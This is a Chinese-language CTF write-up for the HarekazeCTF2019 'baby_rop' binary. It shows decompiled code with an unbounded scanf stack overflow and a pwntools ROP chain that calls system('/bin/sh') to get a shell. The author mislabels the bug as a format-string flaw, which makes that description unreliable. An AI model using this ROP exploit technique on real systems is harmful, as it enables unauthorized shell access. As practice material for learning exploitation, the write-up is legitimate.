[HarekazeCTF2019]baby_rop

题目链接:[HarekazeCTF2019]baby_rop

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  system("echo -n \"What's your name? \"");
  __isoc99_scanf("%s", v4);                     // 格式化字符串栈溢出
  printf("Welcome to the Pwn World, %s!\n", v4);
  return 0;
}

留意到存在 __isoc99_scanf("%s", v4);,典型的格式化字符串溢出漏洞。

同时,存在 system 函数,以及可利用的字符串 "/bin/sh"(.data:0000000000601048 binsh db '/bin/sh',0)。

因此,直接通过 ROP 技术执行 system("/bin/sh");,即可 GetShell。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000400683 : pop rdi ; ret
    # 0x0000000000400479 : ret
    # .data:0000000000601048 binsh           db '/bin/sh',0
    sla("What's your name? ", 0x18 * b'a' + p64(0x0000000000400479) + p64(0x0000000000400683) + p64(0x0000000000601048) + p64(ELF_FILE.plt['system']))
    irt()

pwn()
posted @ 2025-09-06 13:05  imtaieee  阅读(13)  评论(0)    收藏  举报